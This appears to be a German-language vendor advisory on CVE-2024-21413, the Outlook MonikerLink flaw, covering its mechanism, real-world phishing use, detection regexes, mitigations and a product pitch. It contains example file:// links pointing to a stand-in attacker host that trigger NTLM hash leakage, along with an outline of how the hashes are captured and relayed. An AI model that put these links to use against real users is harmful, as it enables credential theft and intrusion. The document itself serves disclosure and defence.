CVE-2024-21413: Microsoft Outlook MonikerLink-RCE

CVE-2024-21413, auch „MonikerLink“ genannt, ist eine kritische Schwachstelle in Microsoft Outlook, die die geschützte Ansicht umgeht und dadurch Remotecodeausführung sowie den Diebstahl von NTLM-Anmeldedaten ermöglicht – allein durch die Vorschau einer schädlichen E-Mail. CVSS 9.8 KRITISCH. Außer der E-Mail-Vorschau ist keine Benutzerinteraktion erforderlich.

Was ist CVE-2024-21413?

CVE-2024-21413 nutzt die Art und Weise aus, wie Microsoft Outlook Hyperlinks verarbeitet, die das Zeichen ! (Ausrufezeichen) als Teil eines Dateimoniker-URI enthalten. Normalerweise wendet Outlook die „geschützte Ansicht“ auf Dokumente an, die aus E-Mails geöffnet werden – dabei werden Office-Dokumente in einer Sandbox isoliert, um die Ausführung von Code zu verhindern. Diese Schwachstelle umgeht diesen Schutz vollständig.

Durch einen präparierten Hyperlink im Format file://ATTACKER-SERVER/test.rtf!something veranlasst ein Angreifer Outlook dazu, die RTF-Datei ohne geschützte Ansicht zu öffnen und gleichzeitig einen automatischen NTLM-Authentifizierungsversuch beim SMB-Server des Angreifers auszulösen. Der Angreifer erfasst den NTLMv2-Hash, um ihn offline zu knacken oder für Relay-Angriffe zu verwenden.

Betroffene Produkte

Nicht betroffen: Outlook im Web (OWA), Outlook für iOS/Android und Outlook für Mac. Die Schwachstelle betrifft ausschließlich Outlook-Desktopclients unter Windows.

Angriffsmechanismus: die MonikerLink-Technik

Windows COM (Component Object Model) verwendet „Moniker“, um Objekte anhand ihres Namens zu binden. Das file://-URI-Schema unter Windows kann nach dem Zeichen ! eine Moniker-Komponente enthalten, die Windows anweist, das referenzierte COM-Objekt zu laden und zu aktivieren.

# Normaler Dateilink – geschützte Ansicht wird angewendet
file://attacker.com/share/document.rtf

# MonikerLink-Umgehung – ! umgeht die geschützte Ansicht
file://attacker.com/share/document.rtf!1337

# Wenn Outlook den MonikerLink verarbeitet:
# 1. Versucht eine SMB-Verbindung zu attacker.com herzustellen
# 2. Sendet NTLMv2-Authentifizierung (Hash wird erfasst)
# 3. Öffnet die Datei ohne geschützte Ansicht
# 4. Wenn die Datei eine schädliche RTF-Datei ist → RCE

Ablauf der NTLM-Hash-Erfassung

Auch ohne eine als Waffe präparierte RTF-Datei hat der NTLM-Relay-Angriff erhebliche Auswirkungen:

1. Das Opfer zeigt die Vorschau der schädlichen E-Mail in Outlook an
2. Outlook stellt automatisch eine SMB-Verbindung zu einem vom Angreifer kontrollierten Server her
3. Windows sendet zur Authentifizierung eine NTLMv2-Challenge-Response (Hash)
4. Der Angreifer erfasst den Hash mit Responder, Impacket oder ähnlichen Tools
5. Der Hash wird offline geknackt (schwache Passwörter innerhalb weniger Stunden) oder in Echtzeit an andere Dienste weitergeleitet

Ausnutzung in der Praxis

Nach der Veröffentlichung eines öffentlichen PoC wurde CVE-2024-21413 innerhalb weniger Tage in kommerzielle Phishing-Toolkits integriert. Zu den beobachteten Kampagnen gehörten:

• Abgreifen von Unternehmensanmeldedaten: Massen-E-Mails an Verteilerlisten von Unternehmen, um große Mengen an NTLM-Hashes zu erfassen
• Gezielter Erstzugriff: Spear-Phishing gegen Führungskräfte mit maßgeschneiderten E-Mails, die MonikerLink-Payloads enthalten
• Ketten zur lateralen Bewegung: NTLM-Relay mit erfassten Hashes zu internen Diensten (SMB, LDAP, HTTP)
• Kompromittierung geschäftlicher E-Mails: Abgreifen von Anmeldedaten, das den Zugriff auf Postfächer für BEC-Betrug ermöglicht

Erkennung

Regeln für E-Mail-Gateways

# Regex-Muster für MonikerLink im E-Mail-Text/in Anhängen
# Erkennt file://-Links, die das Zeichen ! enthalten
\bfile:\/\/[^\s"']+![^\s"']*

# Externe UNC-/Dateilinks vollständig blockieren (empfohlen)
\bfile:\/\/[^\s"']+
\\\\[a-z0-9.-]+\\

Netzwerkerkennung

• SMB-Verbindungen von Endpunkt-Arbeitsstationen zu externen IP-Adressen (dürfen niemals auftreten)
• NTLMv2-Authentifizierungsversuche bei unerwarteten Ziel-IP-Adressen
• DNS-Abfragen von E-Mail-Clients für vom Angreifer kontrollierte Domains

Endpunkterkennung

• OUTLOOK.EXE initiiert ausgehende TCP/445-Verbindungen
• Office-Prozess startet nach der E-Mail-Vorschau untergeordnete Prozesse
• LSASS-Zugriff durch Office-Prozesse

Schutzmaßnahmen

1. Patches vom Februar 2024 installieren: Das Microsoft-Sicherheitsupdate für Outlook behebt die Umgehung der geschützten Ansicht
2. Ausgehenden SMB-Verkehr am Perimeter blockieren: Firewallregeln, die ausgehenden TCP/445- und TCP/139-Verkehr blockieren, verhindern die Erfassung von NTLM-Hashes, selbst wenn die Schwachstelle ausgelöst wird
3. Schutz vor NTLM-Relay aktivieren: SMB-Signierung und LDAP-Signierung konfigurieren, um Relay-Angriffe zu verhindern
4. E-Mail-Sicherheitsgateway einsetzen: E-Mails blockieren, die file://- und \\-Links (UNC-Pfade) im Text oder in Anhängen enthalten
5. NTLM nach Möglichkeit deaktivieren: Organisationen, die Kerberos verwenden, können NTLM deaktivieren, um den Angriffspfad zur Hash-Erfassung zu beseitigen

Erkennungsfunktionen von KENSAI

• Inventarisierung der E-Mail-Client-Versionen: KENSAI identifiziert Outlook-Versionen in Ihrer gesamten Organisation und kennzeichnet ungepatchte Versionen, die für CVE-2024-21413 anfällig sind
• Phishing-Simulation: Das Phishing-Bewertungsmodul von KENSAI kann testen, wie anfällig Beschäftigte für Köder im MonikerLink-Stil sind
• Analyse der Netzwerkexposition: Identifiziert falsch konfigurierte Firewalls, die ausgehenden SMB-Verkehr von Arbeitsstationen zulassen
• Patch-Konformität: Kontinuierliche Überwachung der Patch-Stände von Microsoft Office anhand der Abdeckung bekannter CVE